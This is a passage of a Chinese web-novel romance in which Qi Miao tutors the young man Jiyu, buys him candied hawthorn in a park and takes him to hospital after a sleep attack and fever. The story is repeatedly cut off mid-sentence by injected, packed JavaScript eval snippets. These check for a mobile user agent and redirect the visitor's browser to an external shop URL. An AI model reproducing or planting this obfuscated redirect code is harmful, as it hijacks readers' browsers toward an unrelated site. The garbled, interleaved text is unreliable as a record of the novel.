到此为止还算是合理,齐妙进棚后才发现别有洞天,比如她的专属座椅是个带脚蹬可调节的沙发椅,毛绒绒的枕头、靠垫、坐垫应有尽有,甚至还贴心地准备了玩偶暖手袋。 比如,对方不仅准备了三层保温食盒,菜品丰富,量大到管饱三天,而且另有专门装水果的保鲜盒,盛鸡汤的保温壶,装白开水的保温杯,泡胖大海罗汉果金银花茶的壶,还有一些蛋糕饼干、润喉糖之类的小零食…… 一夜未眠,清晨就外出奔波,蹲家具城门口等人营业,暴走一上午才挑出满意单品的季玉还觉得不够。 “齐小姐,你先吃饭吧。” 齐妙问:“嗯,你吃过了吗?” 季玉恍然:“啊,我忘记了。” 小时候父母经常不见踪影,放他独自看家,因此吃饭时间也不固定。偶尔倒霉的几次,他们不小心忘记家里还有一个小孩的存在,季玉就得闭眼睡觉,来忽略饿得咕噜直叫的肚子。 家里没什么钱,幸运的时候冰箱里能翻出点儿菜叶,他那时个子太矮小,踩着摇晃的矮脚凳才够得着。他从记忆里搜刮出为数不多的几次爸爸做饭的样子,尝试下厨,却差点儿把自己下了油锅,差点儿引发火灾,最后堪堪用湿抹布扑灭。 那之后,父母外出,就把他锁在房间里,直到爸爸离开,妈妈也不再管他。 他已经二十岁了,挨过十五六岁的疯狂生长期,长久以来的习惯,导致他如今很少会有明显的饿感。和饥饿一样,胃痛忍忍也就过去了。 齐妙定定地多看了他一会儿,眼底深邃:“……你不会只做了我一个人份的吧?” 季玉不好意思地挠挠头:“……是,是的。” 齐妙指挥道:“我吃不了这么多,你下楼拿碗过来分一分吧。” 和齐小姐一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16840848|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用餐,是一件非常愉快、非常荣幸的事情。而且,而且还是自己亲手做的诶,又被齐小姐称赞了,超级满足、超级有成就感! 正式补习前,齐妙给他一份模拟卷测试水平。这傻小子满口“好好好”答应下来,结果一写题就思想抛锚,压低脑袋,三番五次偷瞄她,瞄着瞄着就脸通红,连带着耳朵都红温,整个小动作不断。 “那我回避?”齐妙板着脸,作势起身。 “不要!”季玉立马急了,窜地站起,撞得棚内吊灯乱晃。他一手拽住吊绳扶稳,一手奋笔疾书,没多久就举起白纸黑字的保证书:“我不看齐小姐了,写完题之前,绝对不看了,我保证!” “嗯,继续写吧。” 季玉说到做到,再没抬起脑袋过,专注地盯着卷面,认真解答。 这套模拟卷是齐妙搜集整合而成的,整体难度偏大,方便查漏补缺。季玉比她想象中勤奋,牢记所有教科书上一板一眼的公式和解题思路,只是举一反三和简化过程方面薄弱了些,因此做得费时不顺手。 时间一到,齐妙收卷,批改的过程中,心里逐渐形成了一个初步的教学规划。季玉在旁大气都不敢出一声,学校、老师、同学慢慢变为久远的名词和支离破碎的回忆片段,他已经好久好久没有过等待成绩的紧张时刻了。 齐妙知道他连头发丝都跟着紧张,怕人不小心给自己憋死,边继续手头上的批改工作,边缓和气氛道:“那盒里是你亲手做的冰糖葫芦吗?” 一共五小串,每根都不一样。有串山楂的,草莓的,什锦水果的,有加糯米和芋泥的,色泽透亮,颗颗饱满。 这时,季玉才舒口气,点点头:“是的。小优说最近流行奶皮子糖葫芦,吃过的人都说好。早上来不及排队了,也没找到哪里有卖奶皮子的,网购的还要些时间,就先做了点儿别的……” “我是按照网上教程做的,不知道味道怎么样,齐小姐喜不喜欢……” 右手拿红笔,左手拿起一根葫芦串,齐妙咬得嘎嘣响:“……嗯,好吃。” 说实话,她对甜的东西没多大兴趣,尤其这种裹满糖稀,脆得像玻璃,咬起来咔咔掉渣,甜得发齁又酸得发涩的。 但不可否认的是,任何怀抱真心、亲手烹饪的食物都有种不一样的味道。更何况,任谁被一双亮闪闪的大眼睛充满期待地望着,都不可能忍心说出伤人的话来。 季玉欢呼雀跃,头顶上的呆毛微微翘起:“齐小姐喜欢……太好啦!” 齐妙浅笑,顺手压下那撮呆毛,抚平,摸了摸:“回归正题,讲卷子前,我先带着你梳理一遍所有考试题型,包括常考的,和一些创新的偏题难题……” 下午的时间悄然流逝,季玉的领悟力不错,大多数题目一点就通,少数的难题多讲几遍也能理解。齐妙不禁想,如果他读完高中,顺利参加高考,应该会取得满意的成绩吧。所以,他为什么选择中途退学呢?是家庭原因,还是出于身体考虑,或是心理因素? 齐妙没有唐突地开口问,她总觉得,有关季玉身上的谜题,终有一天,她会知晓,并且尽数掌握。 17. 崭新的美好回忆 “好了,今天就到这里结束吧,回去之后好好复习消化。”齐妙整理资料。 “……齐小姐。”季玉低垂着脑袋,蔫巴巴的,指腹来回摸索着纸张。 齐妙挑眉:“怎么,下课了反而不开心?” “嗯……齐小姐很会讲题,不仅聪明,而且温柔有耐心,比我以前的所有老师都要好……我还没眨眼时间就溜走了……”季玉咬着唇,犹犹豫豫地剖白自己:“但,但我想说的不止这些,不开心是因为齐小姐就要离开了。” “今天第一次测验,你的成绩已经达到标准线以上了,听课也听得很认真,是个让我省心的乖学生。” 所有东西收拾完毕,齐妙背上包,站起身。从这个视角看过去,季玉缩成小小一团,肩膀紧绷,浑身上下每一寸都不大对劲,好像不停往外吐着焦灼不安的泡泡。 说完课堂结语,齐妙话锋一转:“所以,要和我一起去街心公园散步吗?” 季玉一双狗狗眼睁圆:!!! 着急忙慌窜起身,头顶撞上悲催的小吊灯,摇曳的灯光乍然晃荡,却比不上此刻他燥动的心脏。 “……我可以吗?” “当然。” “那……齐小姐,我们能不能重来一遍?应该我主动的,不能每次都让你来。我不想做那个总要别人不断费力挤压才冒一点点头的乌龟牙膏,这样的话,你会手疼,会很累。” “没有谁应该怎么样,我并不在意主动与否。不过你想先开口,这也很好。”齐妙补充,“你不会是乌龟牙膏,你是勇敢的……人。” 好险,差点儿就要脱口而出“勇敢的狗狗”了……口口声声指责阿星物化自身,结果到头来,却时常将季玉幻视成毛绒绒……齐妙反省,检讨,但放任。 季玉调整呼吸,躬下身子,两手背后,郑重其事:“齐小姐,你愿意和我一起去街心公园散步吗?” 齐妙简短回应:“嗯。” “这是齐小姐给我的奖励吗?” “嗯……算不上。” 季玉快速整理完,自然地拿下齐妙的包,自己背上。 他步入社会两年,仍然保留着少年意气和明晃晃的澄澈眼神。学习着戴上伪装的面具,却很快就被齐妙看穿。在她面前,所有喜怒哀乐各种复杂的情绪全都不受控制,直白地映在脸上,就像空白的试卷上意外印上了参考答案。 一路上,季玉仿佛小学生第一次春游。从起初害羞得同手同脚,迈出六亲不认的僵尸步伐,到慢慢手脚长出抽芽的新绿,焕发生机和活力,飘逸的头发丝儿一颠一颠的,像走着走着就要登上云阶。 “齐小姐说我是乖学生诶,还夸我很勇敢!” “不对,这些都是真的吗?不会是我还在做梦吧……” “不行不行不行!绝对不能醒来!” “……齐小姐,刚刚你真的夸我了吗?对不起,我好像脑子不太好。” “齐小姐,你能再夸我一次吗?不会很麻烦的,就按照原话再说一次可以吗?” “齐小姐,我乖不乖呀?是勇敢的人吗?” 齐小姐齐小姐齐小姐齐小姐齐小姐……季玉简直像个聒噪的太阳能续航的大喇叭,还是无限循环,来回就同样几句的那种。相识以来,齐妙在今天发现,原来季玉如此活泼,并且擅长撒娇,给点阳光就能美滋滋地感激一辈子。 最近,街心公园人气暴增,得益于奶皮子糖葫芦的风刮到了大街小巷,聚集广大市民的这里也不例外。听同事说,最开始红的那几家店个个都要排队三小时以上,相较而言,街心公园的小摊位长龙属于可接受范围内。 齐妙什么也没说,径直走向队尾,季玉什么也不知道,连队伍尽头是做什么的都不清楚,就乖乖跟着她排队。他先前光顾着看齐妙,冬日满街风光都没能入眼,又怎么会注意到路边小摊。 “我喜欢排队。”季玉傻兮兮的,腼腆一笑:“这样就可以和齐小姐待久一点。” “但是讨厌排队让齐小姐受累。”他又感到苦恼,连忙提议:“我来等就好,齐小姐坐会儿吧。” “不用,我不累。”齐妙摆摆手,问他:“知道排的是什么吗?” 季玉身量极高,平时他会有意无意地配合着齐妙的身高,微微弯腰低头。而这会儿,他站直,抬起头,视野便开阔许多,即便前后布满黑压压的人群,也能轻轻松松“一览众山小”。 一眼看清远处加粗画线的手写招牌,他雀跃地发出小小的惊呼:“奶皮子糖葫芦!” “嗯,这个答案对,也不对。” 她没卖关子,虽然季玉一副好奇宝宝的表情很可爱,但把含羞草似的人逗久了,指不定那胡思乱想的消极脑袋又会把再平常不过的事情扯向何种自以为的世界末日级别灾难。 “是给乖学生的奖励。” 齐妙的表情依旧平淡如水,季玉却品出其中那抹回味无穷的甘甜,她唇角上扬的弧度很浅,若隐若现的小窝如昙花,从内而外溢出一股沁人心脾的芳香。 12月9日下午,稀薄的微光穿过即将冬眠、簌簌脱发的树木,它们褪下绿衣,人们换上黑袄,世间万物骤然少了许多颜色。寒风突袭,肃杀之气席卷而来,季玉却感觉很温暖,因为真正的太阳就在他身边。 太阳的威力实在无法阻挡,他的心都快化了,腿软骨头酥,整个人都快变成一滩烂泥,沐浴在暖融融之下……不行!他猛然闭上双眼,嘴里叽里咕噜地默念清心咒……现在还不行!不能在这里倒下!奖励就在前方! 闭上眼,世界变得漆黑一片,就看不见太阳了。季玉舍不得,偷偷睁开一只眼宽限自己,又在看见齐妙的那一秒心跳失序……完蛋!闭眼就思念齐小姐,睁眼就没办法与齐小姐对视……天呐,到底该怎么办才好…… 他内心天人交战的功夫,齐妙端详了好一阵:“你在练习wink吗?” “wink?” “就是睁一只眼闭一只眼,俗称放电。” “不不不,我不会这个,也不会对齐小姐不尊敬!” 季玉越解释越委屈,高高努起的嘴巴又出现了“^”形小山状。 “……齐,齐小姐,我知道我现在很奇怪,但我不是故意的……我就是在平复过于激动的心情。” 他在咧嘴笑,但其实,他有点儿想哭。 但他不要这样,不要不分场合破坏气氛,不要总是麻烦齐小姐接收他乱七八糟的情绪,不要像被宠坏的小孩一样动不动就耍些莫名其妙的脾气。 “因为我好开心,实在是太开心了……第一次吃糖葫芦,是和齐小姐。” 童年时期,街角常见卖冰糖葫芦的老爷爷,每每路过,季玉都高高昂起脑袋,目不转睛地盯着上面的红果子。妈妈告诉他这些东西不健康,不能吃,小孩尤其不能贪吃,馋嘴的小孩会变丑,将来讨不到老婆。 可是,可是它们看起来真的很漂亮。红彤彤圆滚滚的山楂,金黄色的糖浆外衣,在阳光下泛着润泽,尤其那颗硕大的苹果糖,比妈妈喜欢的钻石还闪耀,占据他的全部视线。空气中弥漫着甜丝丝的香气,像轻盈的羽毛时不时勾一勾他的鼻尖。 他曾经以为,长大以后就好了,长大以后他一定要尝一尝。然而,现实却是,成年的他毫无长进,甚至刻意回避过去的渴望。他只要能活下去就好了呀,凭什么奢望那么多呢? 陈旧的回忆仿佛喉咙里的玻璃碎渣,愈发接近的糖葫芦倒映眸里,季玉一下就红了眼,他憋出蹩脚的借口,快速抹掉水花:“哇,风好大,齐小姐冷不冷?我的外套给你吧……哎呀,眼里进了点儿沙子了呢……” “我不冷。”齐妙摘下鸭舌帽,扣在他脑袋上,往下压了压:“倒是你,得挡挡风。” 季玉垂眸,鼻音瓮瓮的说好,说谢谢齐小姐。之后,他沉默了一小会儿,整理完情绪后,继续咕噜噜地吐些快乐的泡泡。纵使他极力掩饰,但这份快乐仍不似先前的纯粹,反而隐约泛着酸汁儿,看得人不是滋味。 队伍外闲聊的热心大妈们眼尖,瞄准大高个儿,就你一言我一语地自来熟起来。 “哎呦,这小帅哥怎么啦?伤伤心心的,是不是跟女朋友吵架啦?” “有啥过不去的坎呀?跟咱们聊聊!看这可怜劲的,鼻子都哭红咯!” “就是啊,长得这么俊,哪有委屈受呦!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16841919|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >季玉被突然的围堵式关心吓了一跳,局促解释:“阿姨不是的,我没有女朋友……也没有哭,就是风大吹的……” 趁他应接不暇的时候,齐妙正好咔咔咔地点单买单,丝毫不拖泥带水,也不留被抢单的机会。季玉还没反应过来,就见齐妙找到一处长椅,招呼他:“过来坐。” 季玉懵头懵脑的,没几步的距离,也要飞奔向她。齐妙一直都知道,这傻小子长相艳丽,任何表情在他脸上都不会影响其美貌。知道归知道,但每次看,还是不由地感叹造物主的偏心。 齐妙买了两串水果的、一串山楂奶皮子,还有基础款的糖葫芦,以及苹果糖,季玉的目光落在它身上的时间最久。 她只拿起一串水果,然后指着那袋花花绿绿的,说:“都是你的。” “糖吃多了牙疼,可以拿回去分给小优他们。” 一听这话,季玉眼疾手快地环抱手提袋,直摇头:“……才不要分给别人,齐小姐买给我的。” 对于他的拒绝,齐妙略感意外,但她能理解:“你的东西,随你怎么处理。” 她有些嫌弃地看着无从下口的臃肿版糖葫芦,一口吞下奶皮子和青提之类的爆汁水果有难度,贴在背面的奶皮子摇摇欲坠,果肉中间夹的是酸奶吗?这不仅仅有掉渣掉皮掉酸奶的风险吧,还可能四处溅汁…… 季玉看着齐妙先是沉默不语,仔细上下左右地打量糖葫芦,然后谨慎地挑好一个角度,面无表情地咬下。第一口就沉默了,这种沉默与此前的不同,带着一点点扭曲的表情。 他斗胆拦下齐妙继续吃的动作,试探性地问:“齐小姐不喜欢吧?” “……嗯。”齐妙慢吞吞地咀嚼吞咽,鼓鼓囊囊的两腮终于得到解脱。 很割裂的味道,她不太明白把这几样食物组合在一起的意义,甜的甜,腻的腻,膻的膻,倒是能一次性品尝天南海北的味道,其中以乳业著名的草原之味最为突出。 买都买了,总不能浪费。抱着这样的想法,齐妙打算速战速决。季玉却阻止她勉强,笑容和煦:“那交给我吧。没关系的,我喜欢吃甜食。” 实际上,看似绅士周到的季先生正在手心冒汗紧张中……会不会太冒昧了?好像有点太亲密了,好像有点近似于间接亲亲……齐小姐不会觉得我是卑鄙无耻占便宜的变态吧???天呐!!! 迟早有一天,他要被自己的脑洞吓死,但在那之前,齐小姐稳稳接住了他脆弱不堪的心脏。 齐妙把糖葫芦递给他,明显松了口气,仿佛甩掉了大包袱,浑身轻松舒适。 季玉双手接过,看起来像要给她拜上一拜再上柱香。那一头乌黑亮丽的长发飘逸柔顺,寒冬狂风可不怜香惜玉,一来一往随意作乱,刮得人自带一种凄惨小白花无力被虐的凌乱美。 “你带发绳了吗?” “带了,口袋里。” 齐妙“噢”了一声,找出发绳,绕到他身后,修长的食指悬在默默跟随她的脑袋上,顺时针比划半圈:“脑袋转回去。” 季玉十分顺从。 齐妙撩起他的发丝,露出饱满的后脑勺和洁白的脖颈,纤细的红绳一并映入眼帘。五指灵活地穿梭于发间,自上而下捋直抚顺,丝绸般的质地如同花蜜,缠上指尖又滑下。 期间,季玉一言未发,也没其他动静。齐妙不经意一瞥,发现他的耳廓烧红,当即作出判断:“我建议,你先放下糖葫芦。” 听见她的指令,濒临死机的小僵尸才知道摇晃着动一动,刚放下食物,就灵魂出走地歪倒。齐妙从侧后方扶住,顺势坐下,把人放倒,调整位置,脑袋枕在她腿上。 木签尖尖危险,就是因为担心猝睡的情况发生,才让他坐下来的。 还好,没受伤。 齐妙拨开他的额发,似无奈道:“这么容易产生剧烈波动,以后我是不是得悠着点儿了?” 季玉紧闭双眼,天使般安宁的睡颜,满脸的红霞尚未消褪。四肢瘫软,他像拥有直觉的小动物,鼻尖轻嗅熟悉的安心味道,边寻找边蹭蹭,直到踏实地窝进她怀里。 陷入甜美柔软的梦乡前,他听见一道温柔的声音说:“睡个好觉吧。” 18. 得寸进尺的家伙 季玉醒来后很懊恼。 也很开心,偷偷地。 懊恼睡病再次发作,不仅麻烦齐小姐,而且大大缩短了他们相处的时间。 虽然知道不应该,但能从齐小姐怀里醒来,真的、真的、真的——好幸福啊!!!!!!!! 她的怀抱好温暖,软软的,有阳光的温度,干净的皂香和棉花糖的触感……打住啊季玉!!!你在回味什么?!还不赶紧麻溜地识趣地滚远点!!知道你的脑袋有多重吗?压坏了齐小姐怎么办?!! 是男人就要主动!做好被拒绝的打算,然后告诉齐小姐你的所思所想!齐小姐是非常温柔的好人,既然没有表露出任何厌恶,也不用着急起来吧。 正是因为齐小姐很好,所以才更不应该让她为难呀! 长久以来住在他脑袋里的两位居民天使小白和恶魔小黑,正在激烈争吵中,小白目前占据上风,然而最终小黑使用一句话必杀技取得胜利。 「想想看齐小姐的前男友们,再看看自己,你们之间的差距在哪里?」 季玉根本不认识那些人,没见过,也没有具体信息,自然无法与他们进行类比。 但他在一瞬间审视完自己,找到浑身上下所有的缺点和不足,比如被动、无趣、懦弱、敏感多疑、犹豫不决等等等,总结就是糟糕的性格上没有任何优点,粗略一扫没钱没学历没头脑没经历,外形上跟竹节虫似的,还经常被人说长得不像男人。 他想,或许任何人都比他有资格站在齐小姐身旁,比他有资格投入齐小姐的怀抱。 可是,此时此刻,窝在齐小姐怀里的人是他,只有他。那些人,说不定从来没有如此幸运过,说不定早死了呢。反正肯定活不长,和齐小姐谈过恋爱再被甩,肯定没过几天就死了吧。 齐小姐本人,压根不知道怀里刚醒来无辜眨巴大眼睛、天使般面孔的人心理活动如此丰富,甚至已经进行到了恶狠狠的诅咒活动。 她只看见,天使瞳仁睁大,猛地起身,又缓缓倒回,像某种烂电影的慢镜头,带着试探和讨好观众的心思,然后惨兮兮地撒娇:“……头晕。” 季玉知道,暴露弱点其实是一件危险的事,通常会使人厌烦。比如在父母面前生病或是哭泣,他们只会埋怨,变本加厉地对待他。但齐小姐不一样。就算是赌,他也要试一试。 见齐妙没回应,季玉脸色一会儿红一会儿白的,颤颤巍巍地抬手遮住眼睛:“……我,我好像又要晕过去了……” 行啊,现在都学会耍小手段了。 不过,漂亮的人示弱撒娇,还真是让人难以拒绝呢。 齐妙没拆穿他的把戏,更何况其实他的脸色算不上好,到底还是身体不舒服,也不知道这傻小子究竟是怎么长时间忍受的。 “那就再睡一会儿吧,放轻松。”她拍了拍季玉挡眼的手臂,示意其放下,然后替他按摩太阳穴。 季玉乖乖应声,双手合十置于腹前,动作规矩极了,但肩颈脊背都轰然软化下来。他想起什么,大惊失色,再着急忙慌地摸摸后脑,发现果然空空如也。 齐小姐给他扎的马尾没有了…… 会不会,其实,根本没有这回事呢…… 二十岁的年轻男人皮肤白皙光滑,细腻紧实,大概是与生俱来的天赋,既不像灰头土脸的苦学生,也不像油腻松垮的老男人。即便在注重护肤的同龄人中,依然优越。 他蹙起眉,桃花眼尾低低垂下,咬出血色的红唇嘟起,短短十几秒内表情变幻难测。齐妙解释说:“你倒下来的时候,我顺手把马尾散开了,这样平躺不会难受。发绳在外套右边口袋。” 原来是真的! 季玉的唇角刚上扬两个像素点,就极速垮掉,变成一个可怜的下弯弧度。发绳令他想起另一桩悲伤心事。 “酒吧那晚,齐小姐没要我的发绳……”他枕在齐妙腿上,凝视着她,发红的双眼弥漫水雾,委屈哽咽:“是不是嫌弃……” 得寸进尺。 小狗的学习能力很快,当他发现主人的在意,当他知道什么方法能让主人再多关注他一点儿,他就会一次又一次地尝试。 齐妙清楚,眼前这位小狗的的确确在真情实感的伤心,她的妄加猜测只是提供一种可能性,保留一份理性。 “不是嫌弃。非必要和特殊情况,我不用别人的东西。” 季玉还是伤心得要掉眼泪的模样。 她伸手摸额头探温度,放柔了声音,半哄半命令:“好了,别乱想。不许发烧。” “我不乱想了,也不生病!”她说什么就是什么,季玉脑子一抽,嘴巴跑在更前面,脱口而出:“……那,那我可以成为齐小姐的必要和特殊情况吗?” “看你表现,什么时候真的养好身体了再说。” 齐妙眉眼平和,指尖按摩的力道不轻不重,从额角到发间,温柔地抚摸安慰。她开口,语气未变:“猝睡的问题,你有去医院检查过吗?” 掌心下的身躯一颤,如实说:“……没有。” “以前中学老师建议过我去看病,妈妈却说我没病。应该不是生病啦,可能是我太懒惰,晚上又总失眠做梦……” 季玉讪笑,提及自己的身体状况,难免尴尬和羞愧,以及恐惧,害怕齐小姐的脸上流露出令他退缩的表情。 “没有哪里不舒服,只是会突然睡着而已,就是很麻烦身边人,有时候还会吓到别人,这些都很抱歉……检查不出什么的,白白浪费钱,我很健康,所以才能长这么高……” “身高由基因决定。”齐妙扫了他一眼:“对于你的身高来说,你明显偏瘦。” “有,有吗?我一直坚持健身的,练了些微不足道的肌肉,应该比看起来健壮……” 季玉小声解释,说着说着就不自觉将话题落到齐妙身上。 “齐小姐才是真的好瘦好瘦,手腕只有这么一点点,骨架也很小,让人很担心平时有没有好好吃饭呢……” 齐妙的实际身高勉强算中等偏上,但因为足够瘦,比例好,四肢修长,视觉上增高了不少。 她拥有一双漂亮的手,骨节分明,牛奶肤色,柔嫩细滑如暖玉。她的手腕非常细,收至最小尺寸的手镯挂在上面晃晃荡荡,偶尔和无意接触的东西碰撞出清脆悦耳的声音。 “啊齐小姐不要误会,我没有总是偷偷盯着你看!就是,齐小姐有一种很直观的纤细。” 一阵风袭来,橙黄的落叶飘零而下,季玉回过神,急匆匆收回停留已久的视线,撇过脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16846311|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看两分钟的秃头树冷静冷静。 齐妙再次以生物基因说,一言以蔽之:“一日三餐,一顿不落。我父母都是长不胖的体质。” 照他偏题的速度,接下来指不定得聊到火星上有没有甜死人不偿命卡路里满满的沙琪玛的问题上了,反正左右就是讳疾忌医,不愿谈及自身。 齐妙并不擅长聊天,从她私下和男同事无所事事地喝苦哈哈的茶,半天憋不出来个话题时得以看出。 她切回正题的方式简单粗暴,配上她的另一副银丝框眼镜,不近人情的冷感油然而生,像极解剖小白鼠的科学家:“据我所知,不管是发作性睡病还是嗜睡症,虽然看起来像进入了一段安稳的睡眠中,实际上根本无法得到真正的休息吧?严重时会发生梦魇,出现惊惧、痉挛、呼吸困难的症状,长此以往,不仅影响生活,更不利于身心健康。” 这些话专业得让他如同身处就诊现场,她每说一句不带感情的症状描述,季玉的脸色就差上一分,直到最后他的脸彻底变成灰白墙面。 齐小姐很厉害,博学广识,什么都懂,说得很准确。正因如此,他才难过。 难过齐小姐好像只是把他当做一个认识的病人,没有摸摸他的脑袋,没有疼惜安慰的心情,没有问他是不是很不舒服。每次的温存好像都异常短暂,异常不真实。 难过自己什么时候开始变得这么贪婪,明明没遇见齐小姐之前也好好活下来了,为什么现在却觉得少了她的安慰,就难过得快死了一样。 脑袋快要炸开,只有敲碎敲烂到无法拼凑复原的地步,才能不乱想吧……季玉感觉很累,躺着也天旋地转的,各方传来的嘈杂声音隔了层水面。他艰难吞咽,张了张嘴,呼出灼热的气息,声音干涩沙哑:“……那齐小姐希望我怎么做?” 齐妙不是没发现他骤跌的情绪,但她认为,身体大事不可耽误,尽早面对,避免酿成无法挽回的问题。 她轻叹口气,试图讲些显而易见三岁小孩都明白的道理:“不是我希望,而是你需要多考虑自身健康情况,及时就医,看看有没有什么控制调理的方法。” “……对不起齐小姐,我不想听这些。”季玉闭了闭眼,眉头紧紧皱起,难耐地频频捶向发痛的额头,灰白发青的脸迅速烧得通红。 他半撑开眼,盈满眼眶的生理性泪水溢出,意识愈发迷朦:“我只想知道,你希望我怎么做。” “我会按照你说的去做。” 又发烧了。 还在闹别扭。 这家伙真是……不惜命到了极致。这样的人是最难缠的,情绪上头,不讲理智,不在乎身体,感性得要死要活。 齐妙知道自己现在最该做的,最多是出于人道主义把人送到医院,然后挥一挥衣袖不带走任何一片云彩地利落离开,从此不再联系,相忘于江湖。 然而,面对那双潋滟夺目的眼睛,二十六年的人生里,她第一次想要低声叫骂。她随手掏出一张降温贴,拍上他脑袋,气势十足,下手却轻飘飘的。 她确信自己头脑清醒,不为情绪所控,只是语气略重,但还不至于咬牙切齿,她说:“现在、立刻、马上,跟我去医院。” 真荒唐。 她现在居然会随身携带降温贴。 19. 变得稳重的笨蛋 去医院的路上,季玉重新活过来。 人还晕乎得不行,脑袋东歪西倒的,几次差点儿磕上车窗玻璃。齐妙懒得废话,伸手直接把绵软的身体揽过来。 季玉眼尾弯弯,小心翼翼轻挨上她的肩,笑容很甜。齐妙还是没说话,掌心托住他的后脑,用点力按实了。对方顺势讨好地蹭了蹭,热息喷洒颈侧,耳畔传来翻来覆去的黏糊嘟囔:“我好开心……” 齐妙没好气道:“这次又是因为什么?” 季玉笑眯眯,掰着指头一一细数:“和齐小姐散步。” “齐小姐买的糖葫芦好吃。” “齐小姐帮我束头发。” “齐小姐让我躺在怀里。” “齐小姐关心我有没有生病。” “和齐小姐一起走过的地方,又扩大了一点儿。” 齐妙不讲情调,冷酷地回复:“是的,马上就要解锁医院这个地图了。” 季玉仍然傻乐中,也不知道到底是脑袋快烧坏了,还是情绪来得快去得快。他顿了顿,才说:“其实,我知道的。” 齐妙不明所以:“什么?” 病中难免脆弱,找到可靠的依赖后,季玉很轻易就安定下来,压在心底的独自一人的秘密,每每想起都酸涩苦楚得不可思议的往事,全部争先恐后地往嘴巴外面游,拼命游,一直游到齐小姐面前才行。 “很早以前就察觉自己得了怪病,也知道妈妈是因为不想在我身上花钱才拒绝老师的建议。齐小姐,我没有那么笨,对不对?” 清醒时,他很矛盾。昏沉时,他遵循本能。或许他就是披着人皮的卑劣怪物,口口声声说些什么不能麻烦齐小姐的冠冕堂皇的话,实际却享受沉溺其中。卖惨、示弱、撒娇、乞求……不惜一切手段,只要能够多留在齐小姐身边,多留一秒也好。 他的声音还算平静,甚至带了点儿虚假的笑意,试图把伤口包装成风趣的笑话。齐妙毫不留情地弹了他脑门一指,凉飕飕地开口:“既然都知道,还伤心这么久,是笨蛋无疑。” 挨了顿批的笨蛋态度可好了,不光不生气不难过,美滋滋地笑开花儿,而且十分殷勤,服务周到:“齐小姐手好凉,是不是冷呀?放在我脑门上暖一暖吧。” 齐妙干脆拒绝:“不必。” 季玉小小声纠缠:“……有必要的。齐小姐要是冻坏了怎么办?生病很难受的……我不要你难受……” 齐妙当作没听见他的碎碎念,忽略炽热的视线,冷心冷情道:“你用可怜兮兮的蛋花眼看我也没用。” 季玉不语:?????????????????????? 齐妙:…… 她无奈解释:“我手不冷,是你身上太热了。” 季玉这才消停,懂事地点点头,随即补上道谢:“谢谢你齐小姐,不仅发现我生病了,还带我去医院。” 他不是无理取闹的人,要记得感恩,要听齐小姐的话,任何时候以齐小姐为先。 齐妙:“不客气。” “路程还长,先睡一会儿吧,养养精神。” 她事先搜索过,类似季玉身上这种较为罕见的睡眠问题需要前往有睡眠医学中心的医院问诊。街心公园附近有三甲医院,但不符合条件,所以齐妙打车至较远的一家。 如果按照季玉所说,这次发烧过热还是因为伤心过度,只需要简单降温,不久就能退烧,那是最好。如果到医院时还没恢复的话,只能先带他看看发热门诊了。 本就疲累的身体不再强撑,季玉入睡得很快,不时发出几声梦呓哼唧,念叨着:“……我没有很瘦,有肌肉的……真的,齐小姐摸摸看……” 说梦话也就算了,边说边还要扒拉掉碍事的外套,卷起袖子,任君采撷。齐妙反应快,拽住作乱的手,隔着衣服敷衍地捏了下他的手臂,哄道:“嗯,真的有,人的确不能只看表面。” 她不说假话,季玉还真有一层薄肌,而且是拿捏得刚刚好的程度。 得到肯定回答,他终于安心了,踏实睡去。 司机大叔也是个聊惯的主,嘴巴发痒,偷瞄这对璧人好几次了也插不进浓烈的粉红氛围。 这会儿总算找准时机,满脸“嗑到了”的姨夫笑:“姑娘,还在热恋期吧?你男朋友真黏你啊!年轻就是好啊,甜甜蜜蜜的,每天净腻歪了!那人啊就跟口香糖似的撕都撕不开,一掰扯更黏糊,黏得那叫一个又幸福又烦恼……” 刚转向窗外,准备例行放空的齐妙:…… 和你们这群话唠拼了! 就连下车前,司机大叔也不放过任何一丝聊天的空档,对着刚刚醒来、睡眼朦胧的季玉,啧啧感叹:“小伙子真有福气!你女朋友为了让你多睡会儿,硬是让我多绕了好多圈呢……一定要珍惜啊!这么好的女朋友错过就没咯!” 季玉呆:!!! 震惊到完全忽略了对方用的称呼。 “……真的吗?真的吗真的吗真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 